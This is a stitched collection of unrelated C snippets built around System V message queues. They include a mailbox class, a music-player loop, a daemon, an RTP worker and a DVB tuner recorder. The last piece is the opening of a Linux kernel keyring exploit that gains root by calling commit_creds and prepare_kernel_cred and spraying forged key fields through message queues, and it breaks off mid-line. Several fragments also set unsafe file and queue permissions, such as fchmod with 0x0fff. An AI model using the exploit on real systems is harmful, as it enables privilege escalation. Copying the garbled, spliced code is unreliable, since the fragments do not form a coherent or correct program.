fp = fopen(name,"r");
if(fp == NULL)
{
fp = fopen(name,"w");
if(fp == NULL)
{
int ret;
char buf[1024];
sprintf(buf,"could not write mailbox=%s\n",mbxname);
ret = ::write(1,buf,strlen(buf));
if(ret < 0) exit(-1);
sprintf(buf,"you have to run this program as root !!!\n");
ret = ::write(1,buf,strlen(buf));
if(ret < 0) exit(-1);
exit(-1);
}
fchmod(fileno(fp),0x0fff);
if(fp == NULL) { status=COULD_NOT_CREATE_MAILBOX; return; }
}
fclose(fp);
// getkey
// old stuff, without suggestions from Stefan Lievens
// key = ftok(name, 'R');
key = ftok(name, 'b');
if(key == ((key_t) (-1))) { status=COULD_NOT_GET_KEY; return; }
// get chanid
// old stuff, without suggestions from Stefan Lievens
// chanid = msgget(key,IPC_CREAT);
chanid = msgget(key, 0600 | IPC_CREAT);
if(chanid == -1) { status=COULD_NOT_GET_CHAN_ID; return; }
#endif
#ifdef __VMS
long ret;
short chan_id;
struct dsc$descriptor_s dmbxname;
chanid = -1;
status = OK;
name = new char[strlen(mbxname)+1];
strcpy(name,mbxname);
dmbxname.dsc$w_length = strlen(name);
dmbxname.dsc$a_pointer = name;
dmbxname.dsc$b_dtype = DSC$K_DTYPE_T;
dmbxname.dsc$b_class = DSC$K_CLASS_S;
ret = sys$crembx((char)1, // 0 temp 1 permanence flag
&chan_id, // i/o channel
MAX_MAILBOX, // max msg length
MAX_MAILBOX*4, // max buffer size
(long)0,
(long)0,
&dmbxname); // mailbox name
if(ret == SS$_NORMAL) { chanid = chan_id; return; }
else { status = COULD_NOT_CREATE_MAILBOX; return; }
#endif
#ifdef RLWIN32
chanid = -1;
status = OK;
name = new char[strlen(mbxname)+1];
strcpy(name,mbxname);
#endif
}
void play_hmi (void * arg)
{
int i;
int pos = 0x308;
int n_chunks = 0;
int low_dtime;
int low_chunk;
int csec;
// pid_t loc_pid;
int qid;
int ipc_read = 0;
int k=0;
struct msgbuf *rcv;
Track_info *t_info;
//printf ("play_hmi\n");//#########
stop = 0;
ipc_read=0;
// loc_pid=fork();
/* switch (loc_pid)
{
case 0:
break;
case -1:
return -1;
default:
atexit(kill_ipc);
return loc_pid;
}*/
// signal(SIGTERM, my_quit);
rcv=D2_ALLOC(sizeof(long) + 16);
rcv->mType=1;
rcv->mtext[0]='0';
sleep(2);
qid=msgget ((key_t) ('l'<<24) | ('d'<<16) | ('e'<<8) | 's', 0660);
if(qid == -1)
{
return;
}
do
{
ipc_read=do_ipc(qid,rcv,0);
}
while(rcv->mtext[0] != 'p');
stop=0;
rcv->mtext[0] = '0';
seq_init();
n_chunks=data[0x30];
t_info = D2_ALLOC(sizeof(Track_info)*n_chunks);
while(1)
{
for(i=0;i<n_chunks;i++)
{
t_info[i].info.position.vPosition = pos + 12;
t_info[i].status = PLAYING;
t_info[i].time = get_dtime(data,&t_info[i].info.position.vPosition);
pos += (( (0xff & data[pos + 5]) << 8 ) + (0xff & data[pos + 4]);
}
SEQ_START_TIMER();
do
{
low_chunk = -1;
k++;
i=0;
do
{
if (t_info[i].status == PLAYING)
low_chunk = i;
i++;
}
while((low_chunk <=0) && (i<n_chunks);
if (low_chunk == -1)
break;
low_dtime = t_info[low_chunk].time;
for(i=1;i<n_chunks;i++)
{
if ((t_info[i].time < low_dtime) &&
(t_info[i].status == PLAYING))
{
low_dtime = t_info[i].time;
low_chunk = i;
}
}
//if (low_dtime < 0)
//printf("Serious warning: dTime negative!!!!!!\n");
csec = 0.86 * low_dtime;
//flush sequencer buffer after 20 events
if (k == 20)
{
ioctl(seqfd, SNDCTL_SEQ_SYNC);
k = 0;
}
SEQ_WAIT_TIME(csec);
t_info[low_chunk].status = do_track_event(data,&t_info[low_chunk].info.position.vPosition);
if (t_info[low_chunk].status == 3)
{
//printf("Error playing data in chunk %d\n",low_chunk);
t_info[low_chunk].status = STOPPED;
}
if (t_info[low_chunk].status == PLAYING)
t_info[low_chunk].time += get_dtime(data,&t_info[low_chunk].info.position.vPosition);
//Check if the song has reached the end
stop = t_info[0].status;
for(i=1;i<n_chunks;i++)
stop &= t_info[i].status;
if((do_ipc(qid,rcv,IPC_NOWAIT) > 0) && (rcv->mtext[0]=='p'))
{
n_chunks=data[0x30];
t_info = realloc(t_info,sizeof(Track_info)*n_chunks);
stop = 1;
rcv->mtext[0] = '0';
stop_all();
}
}
while(!stop);
SEQ_STOP_TIMER();
if( stop == 2)
{
stop_all();
do
{
ipc_read=do_ipc(qid,rcv,0);
}
while(rcv->mtext[0] != 'p');
rcv->mtext[0] = '0';
n_chunks=data[0x30];
t_info = realloc(t_info,sizeof(Track_info)*n_chunks);
stop = 0;
}
pos=0x308;
}
D2_FREE(data);
D2_FREE(t_info);
D2_FREE(rcv);
}
int main (int argc, char *argv[]) {
/* Assign key to message queue */
key = ftok(".", 'z');
mid = msgget(key, 0);
/* Get infile names */
strcpy(infileName1, argv[1]);
strcpy(infileName2, argv[2]);
/* Read file pointer */
infile1 = fopen(infileName1, "r");
infile2 = fopen(infileName2, "r");
/* Check if infile name exists in same directory */
if ( ((infile1=fopen(infileName1,"r"))==NULL) || ((infile2=fopen(infileName2,"r"))==NULL) ){
printf("No such infile name exists\n");
exit(1);
}
/* Read from file1 */
while(1) {
/* Copy string from file */
if (fgets(msg.buffer, BUFSIZ, infile1) != NULL) {
} else {
break;
}
}
/* Print message from file1 */
printf("Message1 before: %s\n", msg.buffer);
/* From client1 to SERVER */
long client_pid = (long)getpid();
msg.msg_fm = client_pid;
msg.msg_to = SERVER;
/* Send message to server */
if(msgsnd(mid, &msg, sizeof(msg.buffer), 0) == -1){
perror("msgsnd");
exit(-1);
}
/* Receive converted message from server */
if(msgrcv(mid, &msg, sizeof(msg), client_pid, 0) < 0){
perror("msgrcv");
exit(-1);
}
/* Print message from server */
printf("Message1 after: %s\n", msg.buffer);
/* Read from file2 */
while(1) {
/* Copy string from file */
if (fgets(msg.buffer, BUFSIZ, infile2) != NULL) {
} else {
break;
}
}
/* Print message from file2 */
printf("Message2 before: %s\n", msg.buffer);
/* From client1 to SERVER */
msg.msg_fm = client_pid;
msg.msg_to = SERVER;
/* Send message to server */
if(msgsnd(mid, &msg, sizeof(msg.buffer), 0) == -1){
perror("msgsnd");
exit(-1);
}
/* Receive converted message from server */
if(msgrcv(mid, &msg, sizeof(msg), client_pid, 0) < 0){
perror("msgrcv");
exit(-1);
}
/* Print message from server */
printf("Message2 after: %s\n", msg.buffer);
exit(1);
}
//----------------------------------------------------------------------------
// sfsd_main()
// ~~~~~~~~~~~
// SFS daemon main loop
// Status: finished
//----------------------------------------------------------------------------
int
sfsd_main( void )
{
struct s_msg msgb;
char path[SFS_MAX_PATH];
long auth; //, debug = 0;
int reply_queue = -1, reply_queue_id, ret;
_DE
// sfs_debug( "sfsd_main", "entering the main loop." );
for (;;) {
if (msgrcv( sfsd_queue, &msgb, SFS_MSG_SIZE, SFS_MESSAGE, 0 ) == -1) {
sfs_debug( "sfsd_main", "message queue receive error." );
return 1;
}
DE
reply_queue_id = msgb.sfs_msg.sfs_req_reply_queue;
reply_queue = msgget( reply_queue_id, SFS_C_QUEUE_PERM );
if (reply_queue == -1) {
sfs_debug( "sfsd_main", "cannot get message queue." );
continue;
}
DE
if (msgb.sfs_msg.sfs_req_type == SFS_LOGIN_REQ)
auth = sfs_auth( SFS_LOGIN_FILE );
else {
sprintf( path, "%s/%d", SFS_DIR, msgb.sfs_msg.sfs_req_uid );
auth = sfs_auth( path );
}
DE
if (auth == -1) {
sfs_debug( "sfsd_main", "authorization error" );
msgb.sfs_msg.sfs_req_auth = SFS_REPLY_FAIL;
if (msgsnd( reply_queue, &msgb, SFS_MSG_SIZE, 0 ) == -1)
sfs_debug( "sfsd_main", "cannot send error reply." );
continue;
}
DE
if (auth != msgb.sfs_msg.sfs_req_auth) {
sfs_debug( "sfsd_main", "authorization error" );
msgb.sfs_msg.sfs_req_auth = SFS_REPLY_FAIL;
if (msgsnd( reply_queue, &msgb, SFS_MSG_SIZE, 0 ) == -1)
sfs_debug( "sfsd_main", "cannot send error reply." );
continue;
}
DE
switch (msgb.sfs_msg.sfs_req_type) {
case SFS_IS_REQ:
ret = sfs_is_request( &(msgb.sfs_msg.sfs_req.sfs_is) );
break;
case SFS_STRING_REQ:
ret = sfs_string_request( msgb.sfs_msg.sfs_req.sfs_string );
break;
case SFS_OPEN_REQ:
ret = sfs_open_request( &(msgb.sfs_msg.sfs_req.sfs_open) );
break;
case SFS_CLOSE_REQ:
ret = sfs_close_request( &(msgb.sfs_msg.sfs_req.sfs_close) );
break;
case SFS_READ_REQ:
ret = sfs_read_request( &(msgb.sfs_msg.sfs_req.sfs_read) );
break;
case SFS_WRITE_REQ:
ret = sfs_write_request( &(msgb.sfs_msg.sfs_req.sfs_write) );
break;
case SFS_CHMOD_REQ:
ret = sfs_chmod_request( &(msgb.sfs_msg.sfs_req.sfs_chmod) );
break;
case SFS_FCHMOD_REQ:
ret = sfs_fchmod_request( &(msgb.sfs_msg.sfs_req.sfs_fchmod) );
break;
case SFS_LOGIN_REQ:
ret = sfs_login_request( &(msgb.sfs_msg.sfs_req.sfs_login) );
break;
case SFS_CHPASS_REQ:
ret = sfs_chpass_request( &(msgb.sfs_msg.sfs_req.sfs_chpass) );
break;
case SFS_DUMP_REQ:
ret = sfs_dump_request();
break;
case SFS_GETSIZE_REQ:
ret = sfs_getsize_request( &(msgb.sfs_msg.sfs_req.sfs_size));
break;
case SFS_SETSIZE_REQ:
ret = sfs_setsize_request( &(msgb.sfs_msg.sfs_req.sfs_size));
break;
default:
sfs_debug( "sfsd_main", "are you making jokes? (unknown type: %ld)",
msgb.sfs_msg.sfs_req_type );
continue;
}
DE
/*
* Return O.K. or Fail Reply
*
*/
msgb.sfs_msg.sfs_req_type = SFS_REPLY_REQ;
if (ret == SFS_REPLY_OK)
msgb.sfs_msg.sfs_req_auth = SFS_REPLY_OK;
else
msgb.sfs_msg.sfs_req_auth = ret; /* SFS_REPLY_FAIL; */
DE
if (msgsnd( reply_queue, &msgb, SFS_MSG_SIZE, 0 ) == -1) {
sfs_debug( "sfsd_main", "cannot send reply." );
continue;
}
}
}
int rtp_worker_fun() {
unsigned short rtp_port;
unsigned short rtcp_port;
struct msg_to_worker message;
struct msgbuf die_message;
int st;
RTP_TO_RTSP response;
char *abs_path = 0, *host = 0, *path = 0, *end_filename;
/* Signal handler para el worker */
signal(SIGINT, rtp_worker_stop);
/* Set paused time */
gettimeofday(&time_pause, 0);
/* Abrir cola de mensajes */
msg_queue = msgget(MSG_IDENTIFIER/*TODO: Don't hardcode this */, IPC_CREAT /*| IPC_EXCL */| 0700);
if (msg_queue == -1) goto terminate_error;
message.mtype = getpid();
/* Wait for SETUP message */
st = msgrcv(msg_queue, &message, sizeof(struct msg_to_worker) - sizeof(long), getpid(), 0);
if (st == -1) goto terminate_error;
/* Change the response port to the one indicated in the message */
((struct sockaddr_in*)&(message.rtsp_socket))->sin_port = message.message.response_port;
/* Open response socket to RTSP server */
rtsp_sockfd = socket(PF_INET, SOCK_STREAM, 0);
if (rtsp_sockfd == -1) goto terminate_error;
st = connect(rtsp_sockfd, (struct sockaddr *)&(message.rtsp_socket), sizeof(struct sockaddr));
if (st == -1) goto terminate_error;
/* Bind two consecutive UDP ports */
rtp_port = bind_UDP_ports(&rtp_sockfd, &rtcp_sockfd);
if (!rtp_port) goto terminate_error;
rtcp_port = rtp_port + 1;
/* NOTE: This isn't really necesary for the server to work */
/* Create socket for rtsp */
/* rtsp_sockfd = socket(PF_INET, SOCK_STREAM, 0);
if (!rtsp_sockfd) goto terminate_error;
((struct sockaddr_in *)&message.rtsp_socket)->sin_port = comm_port;
st = connect(rtsp_sockfd, (struct sockaddr *)&message.rtsp_socket, sizeof(message.rtsp_socket));
if (st == -1) goto terminate_error; */
/* TODO: Set media type */
if (strstr(message.message.uri, "audio"))
media_type = AUDIO;
else
media_type = VIDEO;
client_ip = message.message.client_ip;
client_port = message.message.client_port;
/* Get the absolute path to the file */
st = extract_uri(message.message.uri, &host, &path);
free(host);
host = 0;
if (!st) goto terminate_error;
abs_path = get_absolute_path(path);
free(path);
path = 0;
if (!abs_path) goto terminate_error;
end_filename = strstr(abs_path, "/audio");
if (!end_filename)
end_filename = strstr(abs_path, "/video");
*end_filename = 0;
/* Initialize gstreamer */
st = gstreamer_fun(abs_path);
free(abs_path);
abs_path = 0;
if (!st) goto terminate_error;
/* Set as paused */
pthread_mutex_lock(&play_state_mutex);
/* Initialize the pipe for communication with the sleeper process */
st = pipe(sleeper_pipe);
if (st == -1) goto terminate_error;
/* Initialize the process that will make this process sleep to limit the rate */
sleeper_pid = fork();
if (sleeper_pid < 0) goto terminate_error;
else if (sleeper_pid == 0) sleeper_fun();
/* Initialize gstreamer communication threads, that will send data to the client */
st = pthread_create(&gstreamer_comm_thread, 0, gstreamer_comm_thread_fun, &message.message.ssrc);
if (st) goto terminate_error;
gstreamer_comm_created = 1;
/* Initialize the thread responsible for limiting the speed of gstreamer */
st = pthread_create(&gstreamer_limitrate_thread, 0, gstreamer_limitrate_thread_fun, 0);
if (st) goto terminate_error;
gstreamer_limitrate_created = 1;
/* Initialize the thread that will run gstreamer */
st = pthread_create(&gstreamer_loop_thread, 0, gstreamer_loop_thread_fun, 0);
if (st) goto terminate_error;
gstreamer_loop_created = 1;
/* TODO: Create rtcp thread */
/* Prepare response */
response.Session = message.message.Session;
strcpy(response.uri, message.message.uri);
response.ssrc = message.message.ssrc;
response.order = OK_RTP;
response.server_port = rtp_port;
st = send(rtsp_sockfd, &response, sizeof(RTP_TO_RTSP), 0);
close(rtsp_sockfd);
rtsp_sockfd = -1;
for (;;) {
/* Wait for message */
st = msgrcv(msg_queue, &message, sizeof(struct msg_to_worker) - sizeof(long), getpid(), 0);
if (st == -1) goto terminate_error;
/* Change the response port to the one indicated in the message */
((struct sockaddr_in*)&(message.rtsp_socket))->sin_port = message.message.response_port;
/* Open response socket to RTSP server */
rtsp_sockfd = socket(PF_INET, SOCK_STREAM, 0);
if (rtsp_sockfd == -1) goto terminate_error;
st = connect(rtsp_sockfd, (struct sockaddr *)&message.rtsp_socket, sizeof(struct sockaddr));
if (st == -1) goto terminate_error;
switch (message.message.order) {
case PLAY_RTP: {
GstStateChangeReturn st_ret;
fprintf(stderr, "Recibido play en proceso %d\n", getpid());
/* TODO: Send play command to gstreamer thread */
/* TODO: goto error if error */
do {
GstState state;
GstState pending;
fprintf(stderr, "Trying play in process %d\n", getpid());
gst_element_set_state(pipeline, GST_STATE_PLAYING);
st_ret = gst_element_get_state(pipeline, &state, &pending, GST_CLOCK_TIME_NONE);
if (st_ret == GST_STATE_CHANGE_SUCCESS)
fprintf(stderr, "Successful play\n");
else if (st_ret == GST_STATE_CHANGE_FAILURE)
fprintf(stderr, "Error in play\n");
} while (st_ret == GST_STATE_CHANGE_ASYNC || st_ret == GST_STATE_CHANGE_FAILURE);
fprintf(stderr, "Play done\n");
/* Set as playing */
pthread_mutex_unlock(&play_state_mutex);
/* Set play time */
gettimeofday(&time_play, 0);
response.order = OK_RTP;
response.server_port = rtp_port;
st = send(rtsp_sockfd, &response, sizeof(RTP_TO_RTSP), 0);
break;
}
case PAUSE_RTP: {
GstStateChangeReturn st_ret;
fprintf(stderr, "Recibido pause en proceso %d\n", getpid());
/* TODO: Send pause command to gstreamer thread */
/* TODO: goto error if error */
/* Set as paused */
pthread_mutex_lock(&play_state_mutex);
do {
GstState state;
GstState pending;
fprintf(stderr, "Trying pause in process %d\n", getpid());
gst_element_set_state(pipeline, GST_STATE_PAUSED);
st_ret = gst_element_get_state(pipeline, &state, &pending, GST_CLOCK_TIME_NONE);
if (st_ret == GST_STATE_CHANGE_SUCCESS)
fprintf(stderr, "Successful pause\n");
else if (st_ret == GST_STATE_CHANGE_FAILURE)
fprintf(stderr, "Error in pause\n");
} while (st_ret == GST_STATE_CHANGE_ASYNC || st_ret == GST_STATE_CHANGE_FAILURE);
/* Set pause time */
gettimeofday(&time_pause, 0);
response.order = OK_RTP;
response.server_port = rtp_port;
send(rtsp_sockfd, &response, sizeof(RTP_TO_RTSP), 0);
break;
}
case TEARDOWN_RTP:
/* NOTE: This isn't really necesary for the server to work */
/* Send FINISHED_RTP to RTSP server */
/*response.order = FINISHED_RTP;
response.Session = message.message.Session;
strcpy(response.uri, message.message.uri);
response.ssrc = message.message.ssrc;
send(rtsp_sockfd, &response, sizeof(response), 0); */
/* TODO: goto error if error */
fprintf(stderr, "Recibido teardown en proceso %d\n", getpid());
response.order = OK_RTP;
response.server_port = rtp_port;
send(rtsp_sockfd, &response, sizeof(RTP_TO_RTSP), 0);
goto terminate;
break;
default:
break;
}
close(rtsp_sockfd);
rtsp_sockfd = -1;
}
goto terminate;
terminate_error:
/* Send ERR_RTP to rtsp socket */
response.order = ERR_RTP;
send(rtsp_sockfd, &response, sizeof(RTP_TO_RTSP), 0);
terminate:
free_worker_process();
/* Send die message so this process is waited for */
die_message.mtype = getppid();
die_message.pid = getpid();
msgsnd(msg_queue, &die_message, sizeof(pid_t), 0);
kill(getpid(), SIGKILL);
}
int
main(int argc, char **argv)
{
time_t cur_time;
pthread_t signal_thread;
pthread_t reader_thread;
pthread_t ipc_thread;
QUEUE_T *p_queue = create_queue(MAX_QUEUE);
BUFSZ *bufptr;
decoder *decoder = NULL;
splitter *splitter = NULL;
static thread_data tdata;
decoder_options dopt = {
4, /* round */
0, /* strip */
0 /* emm */
};
tdata.dopt = &dopt;
tdata.lnb = 0;
tdata.tfd = -1;
int result;
int option_index;
struct option long_options[] = {
#ifdef HAVE_LIBARIB25
{ "b25", 0, NULL, 'b'},
{ "B25", 0, NULL, 'b'},
{ "round", 1, NULL, 'r'},
{ "strip", 0, NULL, 's'},
{ "emm", 0, NULL, 'm'},
{ "EMM", 0, NULL, 'm'},
#endif
{ "LNB", 1, NULL, 'n'},
{ "lnb", 1, NULL, 'n'},
{ "udp", 0, NULL, 'u'},
{ "addr", 1, NULL, 'a'},
{ "port", 1, NULL, 'p'},
{ "http", 1, NULL, 'H'},
{ "dev", 1, NULL, 'd'},
{ "help", 0, NULL, 'h'},
{ "version", 0, NULL, 'v'},
{ "sid", 1, NULL, 'i'},
{ "tsid", 1, NULL, 't'},
{ "lch", 0, NULL, 'c'},
{0, 0, NULL, 0} /* terminate */
};
boolean use_b25 = FALSE;
boolean use_udp = FALSE;
boolean use_http = FALSE;
boolean fileless = FALSE;
boolean use_stdout = FALSE;
boolean use_splitter = FALSE;
boolean use_lch = FALSE;
char *host_to = NULL;
int port_to = 1234;
int port_http = 12345;
sock_data *sockdata = NULL;
int dev_num = 0;
int val;
char *voltage[] = {"0V", "11V", "15V"};
char *sid_list = NULL;
unsigned int tsid = 0;
int connected_socket, listening_socket;
unsigned int len;
char *channel, *pch = NULL;
while((result = getopt_long(argc, argv, "br:smn:ua:H:p:d:hvitcl:",
long_options, &option_index)) != -1) {
switch(result) {
case 'b':
use_b25 = TRUE;
fprintf(stderr, "using B25...¥n");
break;
case 's':
dopt.strip = TRUE;
fprintf(stderr, "enable B25 strip¥n");
break;
case 'm':
dopt.emm = TRUE;
fprintf(stderr, "enable B25 emm processing¥n");
break;
case 'u':
use_udp = TRUE;
host_to = "localhost";
fprintf(stderr, "enable UDP broadcasting¥n");
break;
case 'H':
use_http = TRUE;
port_http = atoi(optarg);
fprintf(stderr, "creating a http daemon¥n");
break;
case 'h':
fprintf(stderr, "¥n");
show_usage(argv[0]);
fprintf(stderr, "¥n");
show_options();
fprintf(stderr, "¥n");
exit(0);
break;
case 'v':
fprintf(stderr, "%s %s¥n", argv[0], version);
fprintf(stderr, "recorder command for DVB tuner.¥n");
exit(0);
break;
/* following options require argument */
case 'n':
val = atoi(optarg);
switch(val) {
case 11:
tdata.lnb = 1;
break;
case 15:
tdata.lnb = 2;
break;
default:
tdata.lnb = 0;
break;
}
fprintf(stderr, "LNB = %s¥n", voltage[tdata.lnb]);
break;
case 'r':
dopt.round = atoi(optarg);
fprintf(stderr, "set round %d¥n", dopt.round);
break;
case 'a':
use_udp = TRUE;
host_to = optarg;
fprintf(stderr, "UDP destination address: %s¥n", host_to);
break;
case 'p':
port_to = atoi(optarg);
fprintf(stderr, "UDP port: %d¥n", port_to);
break;
case 'd':
dev_num = atoi(optarg);
fprintf(stderr, "using device: /dev/dvb/adapter%d¥n", dev_num);
break;
case 'i':
use_splitter = TRUE;
sid_list = optarg;
break;
case 't':
tsid = atoi(optarg);
if(strlen(optarg) > 2){
if((optarg[0] == '0') && ((optarg[1] == 'X') ||(optarg[1] == 'x'))){
sscanf(optarg+2, "%x", &tsid);
}
}
fprintf(stderr, "tsid = 0x%x¥n", tsid);
break;
case 'c':
use_lch = TRUE;
break;
}
}
if(use_http){ // http-server add-
fprintf(stderr, "run as a daemon..¥n");
if(daemon(1,1)){
perror("failed to start");
return 1;
}
fprintf(stderr, "pid = %d¥n", getpid());
struct sockaddr_in sin;
int ret;
int sock_optval = 1;
listening_socket = socket(AF_INET, SOCK_STREAM, 0);
if ( listening_socket == -1 ){
perror("socket");
return 1;
}
if ( setsockopt(listening_socket, SOL_SOCKET, SO_REUSEADDR,
&sock_optval, sizeof(sock_optval)) == -1 ){
perror("setsockopt");
return 1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(port_http);
sin.sin_addr.s_addr = htonl(INADDR_ANY);
if ( bind(listening_socket, (struct sockaddr *)&sin, sizeof(sin)) < 0 ){
perror("bind");
return 1;
}
ret = listen(listening_socket, SOMAXCONN);
if ( ret == -1 ){
perror("listen");
return 1;
}
fprintf(stderr,"listening at port %d¥n", port_http);
//set rectime to the infinite
if(parse_time("-",&tdata.recsec) != 0){
return 1;
}
if(tdata.recsec == -1)
tdata.indefinite = TRUE;
}else{ // -http-server add
if(argc - optind < 3) {
if(argc - optind == 2 && use_udp) {
fprintf(stderr, "Fileless UDP broadcasting¥n");
fileless = TRUE;
tdata.wfd = -1;
}
else {
fprintf(stderr, "Some required parameters are missing!¥n");
fprintf(stderr, "Try '%s --help' for more information.¥n", argv[0]);
return 1;
}
}
fprintf(stderr, "pid = %d¥n", getpid());
if(use_lch){
set_lch(argv[optind], &pch, &sid_list, &tsid);
if(sid_list) use_splitter = TRUE;
fprintf(stderr, "tsid = 0x%x¥n", tsid);
}
if(pch == NULL) pch = argv[optind];
/* tune */
if(tune(pch, &tdata, dev_num, tsid) != 0)
return 1;
/* set recsec */
if(parse_time(argv[optind + 1], &tdata.recsec) != 0) // no other thread --yaz
return 1;
if(tdata.recsec == -1)
tdata.indefinite = TRUE;
/* open output file */
char *destfile = argv[optind + 2];
if(destfile && !strcmp("-", destfile)) {
use_stdout = TRUE;
tdata.wfd = 1; /* stdout */
}
else {
if(!fileless) {
int status;
char *path = strdup(argv[optind + 2]);
char *dir = dirname(path);
status = mkpath(dir, 0777);
if(status == -1)
perror("mkpath");
free(path);
tdata.wfd = open(argv[optind + 2], (O_RDWR | O_CREAT | O_TRUNC), 0666);
if(tdata.wfd < 0) {
fprintf(stderr, "Cannot open output file: %s¥n",
argv[optind + 2]);
return 1;
}
}
}
} // http-server add
/* initialize decoder */
if(use_b25) {
decoder = b25_startup(&dopt);
if(!decoder) {
fprintf(stderr, "Cannot start b25 decoder¥n");
fprintf(stderr, "Fall back to encrypted recording¥n");
use_b25 = FALSE;
}
}
while(1){ // http-server add-
if(use_http){
struct hostent *peer_host;
struct sockaddr_in peer_sin;
pch = NULL;
sid_list = NULL;
len = sizeof(peer_sin);
connected_socket = accept(listening_socket, (struct sockaddr *)&peer_sin, &len);
if ( connected_socket == -1 ){
perror("accept");
return 1;
}
peer_host = gethostbyaddr((char *)&peer_sin.sin_addr.s_addr,
sizeof(peer_sin.sin_addr), AF_INET);
if ( peer_host == NULL ){
fprintf(stderr, "gethostbyname failed¥n");
return 1;
}
fprintf(stderr,"connect from: %s [%s] port %d¥n", peer_host->h_name, inet_ntoa(peer_sin.sin_addr), ntohs(peer_sin.sin_port));
char buf[256];
read_line(connected_socket, buf);
fprintf(stderr,"request command is %s¥n",buf);
char s0[256],s1[256],s2[256];
sscanf(buf,"%s%s%s",s0,s1,s2);
char delim[] = "/";
channel = strtok(s1,delim);
char *sidflg = strtok(NULL,delim);
if(sidflg)
sid_list = sidflg;
if(use_lch)
set_lch(channel, &pch, &sid_list, &tsid);
if(pch == NULL) pch = channel;
fprintf(stderr,"channel is %s¥n",channel);
if(sid_list == NULL){
use_splitter = FALSE;
splitter = NULL;
}else if(!strcmp(sid_list,"all")){
use_splitter = FALSE;
splitter = NULL;
}else{
use_splitter = TRUE;
}
} // -http-server add
/* initialize splitter */
if(use_splitter) {
splitter = split_startup(sid_list);
if(splitter->sid_list == NULL) {
fprintf(stderr, "Cannot start TS splitter¥n");
return 1;
}
}
if(use_http){ // http-server add-
char header[100];
if(use_b25) {
strcpy(header, "HTTP/1.1 200 OK¥r¥nContent-Type: video/mpeg¥r¥nCache-Control: no-cache¥r¥n¥r¥n");
}else if(!strcmp(sid_list,"1seg")){
strcpy(header, "HTTP/1.1 200 OK¥r¥nContent-Type: video/mpeg¥r¥nCache-Control: no-cache¥r¥n¥r¥n");
}else{
strcpy(header, "HTTP/1.1 200 OK¥r¥nContent-Type: application/octet-stream¥r¥nCache-Control: no-cache¥r¥n¥r¥n");
}
write(connected_socket, header, strlen(header));
//set write target to http
tdata.wfd = connected_socket;
//tune
if(tune(pch, &tdata, dev_num, tsid) != 0){
fprintf(stderr, "Tuner cannot start recording¥n");
continue;
}
}else{ // -http-server add
/* initialize udp connection */
if(use_udp) {
sockdata = calloc(1, sizeof(sock_data));
struct in_addr ia;
ia.s_addr = inet_addr(host_to);
if(ia.s_addr == INADDR_NONE) {
struct hostent *hoste = gethostbyname(host_to);
if(!hoste) {
perror("gethostbyname");
return 1;
}
ia.s_addr = *(in_addr_t*) (hoste->h_addr_list[0]);
}
if((sockdata->sfd = socket(PF_INET, SOCK_DGRAM, 0)) < 0) {
perror("socket");
return 1;
}
sockdata->addr.sin_family = AF_INET;
sockdata->addr.sin_port = htons (port_to);
sockdata->addr.sin_addr.s_addr = ia.s_addr;
if(connect(sockdata->sfd, (struct sockaddr *)&sockdata->addr,
sizeof(sockdata->addr)) < 0) {
perror("connect");
return 1;
}
}
} // http-server add
/* prepare thread data */
tdata.queue = p_queue;
tdata.decoder = decoder;
tdata.splitter = splitter;
tdata.sock_data = sockdata;
tdata.tune_persistent = FALSE;
/* spawn signal handler thread */
init_signal_handlers(&signal_thread, &tdata);
/* spawn reader thread */
tdata.signal_thread = signal_thread;
pthread_create(&reader_thread, NULL, reader_func, &tdata);
/* spawn ipc thread */
key_t key;
key = (key_t)getpid();
if ((tdata.msqid = msgget(key, IPC_CREAT | 0666)) < 0) {
perror("msgget");
}
pthread_create(&ipc_thread, NULL, mq_recv, &tdata);
fprintf(stderr, "¥nRecording...¥n");
time(&tdata.start_time);
/* read from tuner */
while(1) {
if(f_exit)
break;
time(&cur_time);
bufptr = malloc(sizeof(BUFSZ));
if(!bufptr) {
f_exit = TRUE;
break;
}
bufptr->size = read(tdata.tfd, bufptr->buffer, MAX_READ_SIZE);
if(bufptr->size <= 0) {
if((cur_time - tdata.start_time) >= tdata.recsec && !tdata.indefinite) {
f_exit = TRUE;
enqueue(p_queue, NULL);
break;
}
else {
free(bufptr);
continue;
}
}
enqueue(p_queue, bufptr);
/* stop recording */
time(&cur_time);
if((cur_time - tdata.start_time) >= tdata.recsec && !tdata.indefinite) {
break;
}
}
/* delete message queue*/
msgctl(tdata.msqid, IPC_RMID, NULL);
pthread_kill(signal_thread, SIGUSR1);
/* wait for threads */
pthread_join(reader_thread, NULL);
pthread_join(signal_thread, NULL);
pthread_join(ipc_thread, NULL);
/* close tuner */
if(close_tuner(&tdata) != 0)
return 1;
/* release queue */
destroy_queue(p_queue);
if(use_http){ // http-server add-
//reset queue
p_queue = create_queue(MAX_QUEUE);
/* close http socket */
close(tdata.wfd);
fprintf(stderr,"connection closed. still listening at port %d¥n",port_http);
f_exit = FALSE;
}else{ // -http-server add
/* close output file */
if(!use_stdout){
fsync(tdata.wfd);
close(tdata.wfd);
}
/* free socket data */
if(use_udp) {
close(sockdata->sfd);
free(sockdata);
}
/* release decoder */
if(!use_http)
if(use_b25) {
b25_shutdown(decoder);
}
} // http-server add
if(use_splitter) {
split_shutdown(splitter);
}
if(!use_http) // http-server add
return 0;
} // http-server add
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct {
long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred =
(_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
if(commit_creds == NULL || prepare_kernel_cred == NULL) {
commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
prepare_kernel_cred =
(_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
if(commit_creds == (_commit_creds)0xffffffff810bb050
|| prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
puts("[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source");
}
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
